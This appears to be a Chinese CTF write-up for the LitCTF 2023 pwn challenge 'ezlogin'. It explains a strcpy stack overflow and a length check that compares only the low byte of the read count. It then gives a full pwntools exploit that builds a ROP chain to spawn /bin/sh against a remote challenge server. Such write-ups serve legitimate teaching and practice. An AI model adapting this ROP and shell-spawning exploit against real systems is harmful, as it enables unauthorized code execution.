LitCTF2023

文章发布时间:

最后更新时间:

文章总字数:
772

预计阅读时间:
3 分钟

跟着vn的师傅打 拿了第七 但是说实话pwn题出的太烂了 唯一有难度的一题还是抄的祥云杯2022-protocol 考点一模一样

从pwn方向我的评价就是一坨狗屎 其他方向不会不做评价

[LitCTF 2023]ezlogin

静态编译 删除了符号表 用sig文件解决就行 使用自己百度 这里贴一个比较齐全的sig文件仓库

push0ebp/sig-database: IDA FLIRT Signature Database (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rdx
__int64 v6; // [rsp+0h] [rbp-108h] BYREF

setbuf(off_6B97A8, 0LL, envp);
setbuf(off_6B97A0, 0LL, v3);
setbuf(off_6B9798, 0LL, v4);
while ( !(unsigned int)vuln(&v6) )
;
IO_puts("GoodTime.");
return 0;
}

重复执行vuln函数 当vuln函数的返回值为1时退出循环

1
2
3
4
5
6
7
8
9
10
11
_BOOL8 __fastcall vuln(__int64 a1)
{
char v2[536]; // [rsp+0h] [rbp-218h] BYREF

IO_puts("Input your password:");
memset(v2, 0, 0x200uLL);
if ( (unsigned __int8)_libc_read(0, v2, 0x200uLL) > 0x50u )
exit_0(-1);
j_strcpy_ifunc(a1, v2);
return strcmp(v2, "PASSWORD") == 0;
}

有一个strcpy的栈溢出 a1相当于v6 a1可以输入0x200字节 而v6只需要0x100字节就可以溢出 不过对于read函数有一个返回值检测

超过0x50就终止程序 但是实际的比较存在漏洞 我们来看一下汇编

1
2
.text:0000000000400C07                 cmp     al, 50h ; 'P'
.text:0000000000400C09 ja short loc_400C3E

对比的是al寄存器 al寄存器是rax的低八位 也就是说如果我们这个数值比较大 使得二进制形式的数值的1集中在前面 低8位的数值就比较小 测试下来就是不能超过0x150字节

那么我们就可以构造rop链了 不过由于\x00会被strcpy截断 所以我们需要先覆盖一下payload中的\x00为其他字节

随后由后往前写 就是payload不断缩减 在\x00字节处做标记 输出的时候多一个\x00 用来覆盖原本的\x00

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import*
io = remote("node5.anna.nssctf.cn",28824)
#io = process("./pwn4")
context.log_level = "debug"
elf = ELF("./pwn4")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']


syscall = 0x448D22
rdi_addr = 0x400706
rsi_addr=0x410043
rdx_addr = 0x448c95
rax_addr = 0x4005af
bss_addr = elf.bss(0x300)
start_addr = 0x400AB0
main_addr = 0x4005c0
ret_addr = 0x400416

payload = b'PASSWORD'+cyclic(0x100)+p64(rdi_addr)+p64(0)+p64(rax_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr)+p64(syscall)+p64(main_addr)
payload = payload.ljust(0x200,b'a')

#payload = payload.replace(b'\x00', b'\x11')
list = []
for i in range(0x198) :
if payload[i] == '\x00' :
list.append(i)
payload = payload[0:i] + b'\x66' + payload[i+1:]
list = list[::-1]
for i in list :
payload = payload[0:i]+b'\x00'
io.recvuntil("Input your password:")
# gdb.attach(io,'b *0x400C07')
# pause(0)
io.send(payload)
# pause()
payload = "PASSWORD\x00"
io.recvuntil("Input your password:")
# gdb.attach(io,'b *0x40061A')
# pause(0)
io.send(payload)
# pause()
io.sendline(b'/bin/sh\x00')


payload = b'PASSWORD'+cyclic(0x100)+p64(rax_addr)+p64(59)+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0)+p64(syscall)
payload = payload.ljust(0x200,b'a')
list = []
for i in range(0x200) :
if payload[i] == '\x00' :
list.append(i)
payload = payload[0:i] + b'\x66' + payload[i+1:]
list = list[::-1]
for i in list :
payload = payload[0:i]+b'\x00'
io.recvuntil("Input your password:")
io.send(payload)
payload = "PASSWORD\x00"
io.recvuntil("Input your password:")
io.send(payload)
io.interactive()